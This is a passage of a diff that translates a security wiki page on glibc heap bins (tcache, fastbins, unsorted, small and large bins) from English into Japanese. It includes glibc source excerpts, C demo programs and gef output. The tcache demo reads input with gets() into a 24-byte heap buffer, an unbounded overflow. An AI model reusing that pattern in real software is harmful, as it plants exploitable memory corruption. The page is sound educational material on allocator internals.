chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +したがって、tcacheはスレッドごとのファストビンに似ており、**チャンクをマージしない単一のリンクリスト**です。各スレッドには**64の単一リンクtcacheビン**があります。各ビンは、[64ビットシステムで24から1032B、32ビットシステムで12から516Bの範囲の](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) [同サイズのチャンクを最大7つ](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323)持つことができます。 -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**スレッドがチャンクを解放するとき**、**tcacheに割り当てるには大きすぎない場合**、かつ該当するtcacheビンが**満杯でない**(すでに7つのチャンクがある)場合、**そこに割り当てられます**。tcacheに行けない場合は、グローバルに解放操作を実行するためにヒープロックを待つ必要があります。 -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +**チャンクが割り当てられるとき**、必要なサイズのフリーなチャンクが**Tcacheにあればそれを使用し**、なければ、グローバルビンで見つけるか新しいものを作成するためにヒープロックを待つ必要があります。\ +また、最適化もあり、この場合、ヒープロックを保持している間、スレッドは**要求されたサイズのヒープチャンク(7)でTcacheを満たします**。そのため、さらに必要な場合は、Tcache内で見つけることができます。
-Add a tcache chunk example - +Tcacheチャンクの例を追加 ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +コンパイルして、main関数のretオペコードにブレークポイントを設定してデバッグします。次に、gefを使用すると、使用中のtcache binを見ることができます: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Tcache 構造体と関数 -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +以下のコードでは、**max bins** と **chunks per index**、ダブルフリーを避けるために作成された **`tcache_entry`** 構造体、各スレッドがビンの各インデックスへのアドレスを格納するために使用する構造体 **`tcache_perthread_struct`** を見ることができます。
-tcache_entry and tcache_perthread_struct - +tcache_entrytcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +関数 `__tcache_init` は `tcache_perthread_struct` オブジェクトのためのスペースを作成し、割り当てる関数です。
-tcache_init code - +tcache_init コード ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Tcache インデックス -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +Tcache には、サイズに応じていくつかのビンがあり、**各インデックスの最初のチャンクへのポインタとインデックスごとのチャンクの量はチャンク内にあります**。これは、この情報(通常は最初のもの)を持つチャンクを特定することで、すべての tcache 初期ポイントと Tcache チャンクの量を見つけることができることを意味します。 -### Fast bins +### ファストビン -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +ファストビンは、**小さなチャンクのメモリ割り当てを高速化するために設計されています**。最近解放されたチャンクを迅速にアクセスできる構造に保持します。これらのビンは、後入れ先出し(LIFO)アプローチを使用しており、**最も最近解放されたチャンクが最初**に再利用されます。これは、スタックの上部から挿入および削除する方が、キュー(FIFO)よりも速いため、速度にとって有利です。 -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +さらに、**ファストビンは単方向リンクリストを使用**しており、双方向リンクではないため、速度がさらに向上します。ファストビンのチャンクは隣接するチャンクとマージされないため、中間から削除を可能にする複雑な構造は必要ありません。単方向リンクリストは、これらの操作に対してよりシンプルで迅速です。 -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +基本的に、ここで起こることは、ヘッダー(最初のチャンクをチェックするためのポインタ)が常にそのサイズの最新の解放されたチャンクを指しているということです。したがって: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- そのサイズの新しいチャンクが割り当てられると、ヘッダーは使用するための空きチャンクを指します。この空きチャンクが次に使用するチャンクを指しているため、このアドレスはヘッダーに保存され、次の割り当てが利用可能なチャンクを取得する場所を知ることができます。 +- チャンクが解放されると、空きチャンクは現在の利用可能なチャンクへのアドレスを保存し、この新しく解放されたチャンクへのアドレスがヘッダーに置かれます。 -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... +リンクリストの最大サイズは `0x80` であり、サイズ `0x20` のチャンクはインデックス `0` に、サイズ `0x30` のチャンクはインデックス `1` に配置されます... > [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. - +> ファストビンのチャンクは利用可能として設定されていないため、周囲の他の空きチャンクとマージできる代わりに、しばらくの間ファストビンチャンクとして保持されます。 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +ファストビンチャンクの例を追加 ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +8つの同じサイズのチャンクを割り当てて解放する方法に注意してください。これによりtcacheが満たされ、8つ目のチャンクがファストチャンクに格納されます。 -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +コンパイルして、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクがファストビンにあることがわかります。 ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
-### Unsorted bin +### 未整理ビン -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +未整理ビンは、ヒープマネージャーによってメモリ割り当てを迅速に行うために使用される**キャッシュ**です。動作は次のようになります:プログラムがチャンクを解放すると、そのチャンクがtcacheやファストビンに割り当てられず、トップチャンクと衝突しない場合、ヒープマネージャーはすぐに特定の小さなビンや大きなビンに入れません。代わりに、最初に**隣接する空きチャンクとマージしようとします**。これにより、より大きな空きメモリブロックが作成されます。その後、この新しいチャンクは「未整理ビン」と呼ばれる一般的なビンに配置されます。 -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +プログラムが**メモリを要求すると**、ヒープマネージャーは**未整理ビンをチェック**して、十分なサイズのチャンクがあるかどうかを確認します。見つかれば、すぐに使用します。未整理ビンに適切なチャンクが見つからない場合は、このリスト内のすべてのチャンクをサイズに基づいて対応するビン(小または大)に移動します。 -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +注意すべきは、より大きなチャンクが2つの半分に分割され、残りがMINSIZEより大きい場合、それは未整理ビンに戻されるということです。 -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +したがって、未整理ビンは、最近解放されたメモリを迅速に再利用することでメモリ割り当てを加速し、時間のかかる検索やマージの必要性を減らす方法です。 > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> チャンクが異なるカテゴリであっても、利用可能なチャンクが別の利用可能なチャンクと衝突している場合(元々異なるビンに属していても)、それらはマージされることに注意してください。
-Add a unsorted chunk example - +未整理チャンクの例を追加 ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +同じサイズの9つのチャンクを割り当てて解放する方法に注意してください。これにより、**tcacheが満たされ**、8つ目は**fastbinには大きすぎる**ため、未ソートのビンに格納されます。そして9つ目は解放されていないため、8つ目と9つ目は**トップチャンクとマージされません**。 -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクが未ソートのビンにあることがわかります: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
-### Small Bins +### スモールビン -Small bins are faster than large bins but slower than fast bins. +スモールビンはラージビンよりも速いですが、ファストビンよりは遅いです。 -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +62の各ビンは**同じサイズのチャンク**を持ちます:16、24、...(32ビットでの最大サイズは504バイト、64ビットでの最大サイズは1024バイト)。これは、スペースを割り当てるべきビンを見つける速度や、これらのリストへのエントリの挿入と削除を助けます。 -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +スモールビンのサイズはビンのインデックスに応じて次のように計算されます: +- 最小サイズ:2\*4\*index(例:インデックス5 -> 40) +- 最大サイズ:2\*8\*index(例:インデックス5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +小さなビンと大きなビンを選択するための関数: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +小さなチャンクの例を追加 ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +9つの同じサイズのチャンクを割り当てて解放する方法に注意してください。これにより、**tcacheが満たされ**、8つ目は**fastbinには大きすぎる**ため、未ソートのビンに格納されます。そして9つ目は解放されていないため、9つ目と8つ目は**トップチャンクとマージされません**。次に、0x110のより大きなチャンクを割り当てると、**未ソートのビンのチャンクが小さなビンに移動します**。 -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクが小さなビンにあることがわかります。 ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### 大きなビン -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +小さなビンが固定サイズのチャンクを管理するのに対し、各**大きなビンはチャンクサイズの範囲を扱います**。これはより柔軟で、システムが**さまざまなサイズ**を別々のビンなしで収容できるようにします。 -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +メモリアロケータでは、大きなビンは小さなビンが終了するところから始まります。大きなビンの範囲は徐々に大きくなり、最初のビンは512バイトから576バイトのチャンクをカバーし、次のビンは576バイトから640バイトをカバーします。このパターンは続き、最大のビンは1MBを超えるすべてのチャンクを含みます。 -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +大きなビンは小さなビンに比べて操作が遅くなります。なぜなら、**最適なフィットを見つけるためにさまざまなチャンクサイズのリストをソートして検索しなければならないからです**。チャンクが大きなビンに挿入されると、それはソートされ、メモリが割り当てられるときにシステムは適切なチャンクを見つけなければなりません。この追加の作業により、**遅くなります**が、大きな割り当ては小さな割り当てよりも一般的ではないため、許容できるトレードオフです。 -There are: +以下があります: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 64B範囲のビンが32個(小さなビンと衝突) +- 512B範囲のビンが16個(小さなビンと衝突) +- 4096B範囲のビンが8個(小さなビンと部分的に衝突) +- 32768B範囲のビンが4個 +- 262144B範囲のビンが2個 +- 残りのサイズ用のビンが1個
-Large bin sizes code - +大きなビンサイズのコード ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +大きなチャンクの例を追加 ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +2つの大きなアロケーションが行われ、その後1つが解放され(未ソートビンに入る)、より大きなアロケーションが行われます(解放されたものが未ソートビンから大きなビンに移動します)。 -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯であり、1つのチャンクが大きなビンにあることがわかります。 ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── 